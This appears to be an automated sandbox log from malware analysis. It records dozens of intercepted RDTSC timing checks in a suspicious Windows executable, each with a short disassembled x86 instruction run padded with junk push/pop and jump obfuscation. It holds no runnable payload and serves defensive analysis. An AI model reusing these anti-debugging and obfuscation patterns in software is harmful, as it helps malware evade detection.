Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05D2 second address: 4CC05D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05D8 second address: 4CC05DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05DC second address: 4CC0604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7C2525D0D0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0604 second address: 4CC060A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC060A second address: 4CC061B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC061B second address: 4CC0633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e mov edx, ecx 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0633 second address: 4CC0646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0266 second address: 4CE026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE026A second address: 4CE0270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0270 second address: 4CE0276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0276 second address: 4CE0293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dl, CEh 0x00000011 mov si, CB75h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0293 second address: 4CE02CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F7C25274A02h 0x00000013 add esi, 7C3217F8h 0x00000019 jmp 00007F7C252749FBh 0x0000001e popfd 0x0000001f mov edi, ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02CE second address: 4CE02D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02D4 second address: 4CE02D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02D8 second address: 4CE0327 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7C2525D0D6h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7C2525D0D7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006C2 second address: 4D006FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 push edi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c jmp 00007F7C25274A02h 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007F7C25274A00h 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006FB second address: 4D006FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006FF second address: 4D00705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00705 second address: 4D00776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F7C2525D0D0h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F7C2525D0D1h 0x00000017 jmp 00007F7C2525D0CBh 0x0000001c popfd 0x0000001d mov bx, cx 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 pushad 0x00000023 mov si, B627h 0x00000027 pushad 0x00000028 jmp 00007F7C2525D0CAh 0x0000002d popad 0x0000002e popad 0x0000002f mov eax, dword ptr [774365FCh] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F7C2525D0CAh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00776 second address: 4D007AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F7C252749FDh 0x0000000b sbb eax, 35D7C0F6h 0x00000011 jmp 00007F7C25274A01h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test eax, eax 0x0000001c pushad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007AA second address: 4D007C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 je 00007F7C9791027Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7C2525D0CEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007C6 second address: 4D007D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C252749FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007D8 second address: 4D00812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d jmp 00007F7C2525D0D6h 0x00000012 xor eax, dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7C2525D0CCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00812 second address: 4D00840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4C0ADAB4h 0x00000008 pushfd 0x00000009 jmp 00007F7C252749FDh 0x0000000e jmp 00007F7C252749FBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 and ecx, 1Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00840 second address: 4D00844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00844 second address: 4D0085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0085F second address: 4D008A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b pushad 0x0000000c movzx ecx, bx 0x0000000f mov al, bh 0x00000011 popad 0x00000012 leave 0x00000013 jmp 00007F7C2525D0D0h 0x00000018 retn 0004h 0x0000001b nop 0x0000001c mov esi, eax 0x0000001e lea eax, dword ptr [ebp-08h] 0x00000021 xor esi, dword ptr [00422014h] 0x00000027 push eax 0x00000028 push eax 0x00000029 push eax 0x0000002a lea eax, dword ptr [ebp-10h] 0x0000002d push eax 0x0000002e call 00007F7C29B7D89Fh 0x00000033 push FFFFFFFEh 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008A1 second address: 4D008A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008A5 second address: 4D008A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008A9 second address: 4D008AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008AF second address: 4D008B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008B6 second address: 4D008F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov bx, 272Ah 0x0000000f pushfd 0x00000010 jmp 00007F7C252749FBh 0x00000015 sub si, 23CEh 0x0000001a jmp 00007F7C25274A09h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008F1 second address: 4D00901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00901 second address: 4D0091B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d push eax 0x0000000e call 00007F7C29B95242h 0x00000013 mov edi, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0091B second address: 4D0091F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0091F second address: 4D0093A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0093A second address: 4D00982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 jmp 00007F7C2525D0D0h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F7C2525D0D0h 0x00000014 push eax 0x00000015 jmp 00007F7C2525D0CBh 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F7C2525D0CBh 0x00000023 pop eax 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00982 second address: 4D00987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00987 second address: 4D0098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0098D second address: 4D00991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00991 second address: 4D009C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7C2525D0D7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D009C0 second address: 4D009ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7C252749FDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0039 second address: 4CB003D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB003D second address: 4CB0043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0043 second address: 4CB00B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F7C2525D0D1h 0x00000010 pushfd 0x00000011 jmp 00007F7C2525D0D0h 0x00000016 adc cx, F4C8h 0x0000001b jmp 00007F7C2525D0CBh 0x00000020 popfd 0x00000021 pop esi 0x00000022 jmp 00007F7C2525D0D9h 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F7C2525D0CDh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00B1 second address: 4CB00D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7C25274A07h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00D7 second address: 4CB00DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00DB second address: 4CB00DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00DF second address: 4CB00E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00E5 second address: 4CB0142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7C25274A05h 0x00000009 and cx, E756h 0x0000000e jmp 00007F7C25274A01h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 and esp, FFFFFFF8h 0x0000001a pushad 0x0000001b mov esi, 79B9B1BFh 0x00000020 mov si, AADBh 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 call 00007F7C25274A03h 0x0000002e pop eax 0x0000002f mov si, di 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0142 second address: 4CB014A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB014A second address: 4CB018A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov bh, 41h 0x0000000b call 00007F7C25274A02h 0x00000010 jmp 00007F7C25274A02h 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7C252749FCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB018A second address: 4CB018F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB018F second address: 4CB01E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b jmp 00007F7C25274A06h 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F7C25274A01h 0x00000018 sub al, FFFFFFE6h 0x0000001b jmp 00007F7C25274A01h 0x00000020 popfd 0x00000021 mov di, cx 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01E4 second address: 4CB01E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01E8 second address: 4CB01EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01EE second address: 4CB01F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01F3 second address: 4CB021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebx, dword ptr [ebp+10h] 0x0000000d jmp 00007F7C25274A04h 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB021B second address: 4CB021F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB021F second address: 4CB0223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0223 second address: 4CB0229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0229 second address: 4CB0270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 7471h 0x00000007 pushfd 0x00000008 jmp 00007F7C252749FEh 0x0000000d and cx, 7148h 0x00000012 jmp 00007F7C252749FBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d mov ch, dl 0x0000001f movzx eax, dx 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 movzx esi, bx 0x00000028 popad 0x00000029 mov esi, dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F7C252749FAh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0270 second address: 4CB02BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b call 00007F7C2525D0D4h 0x00000010 mov ax, E511h 0x00000014 pop ecx 0x00000015 mov di, F402h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F7C2525D0D8h 0x00000020 xchg eax, edi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02BE second address: 4CB02F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7C25274A03h 0x0000000a add ah, 0000005Eh 0x0000000d jmp 00007F7C25274A09h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02F4 second address: 4CB032D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F7C2525D0CEh 0x00000010 je 00007F7C9795B3C2h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7C2525D0CAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB032D second address: 4CB0331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0331 second address: 4CB0337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0337 second address: 4CB036F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 pushad 0x00000011 mov ecx, 4072BB3Dh 0x00000016 push ecx 0x00000017 mov bh, D2h 0x00000019 pop ecx 0x0000001a popad 0x0000001b je 00007F7C97972CC6h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F7C252749FCh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB036F second address: 4CB0375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0375 second address: 4CB0379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0379 second address: 4CB037D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0768 second address: 4CA076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA076C second address: 4CA077F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA077F second address: 4CA081B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7C252749FEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop eax 0x00000014 mov si, di 0x00000017 popad 0x00000018 call 00007F7C252749FFh 0x0000001d pushfd 0x0000001e jmp 00007F7C25274A08h 0x00000023 or ax, D668h 0x00000028 jmp 00007F7C252749FBh 0x0000002d popfd 0x0000002e pop esi 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F7C25274A00h 0x0000003a and ax, A8C8h 0x0000003f jmp 00007F7C252749FBh 0x00000044 popfd 0x00000045 mov esi, 68B2AE3Fh 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA081B second address: 4CA0821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0821 second address: 4CA089A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx ebx, cx 0x0000000e pushfd 0x0000000f jmp 00007F7C25274A02h 0x00000014 jmp 00007F7C25274A05h 0x00000019 popfd 0x0000001a popad 0x0000001b and esp, FFFFFFF8h 0x0000001e pushad 0x0000001f jmp 00007F7C25274A08h 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 jmp 00007F7C25274A00h 0x0000002b push eax 0x0000002c jmp 00007F7C252749FBh 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA089A second address: 4CA089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA089E second address: 4CA08A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08A2 second address: 4CA08A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08A8 second address: 4CA08BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov cx, 1E53h 0x00000011 rdtsc
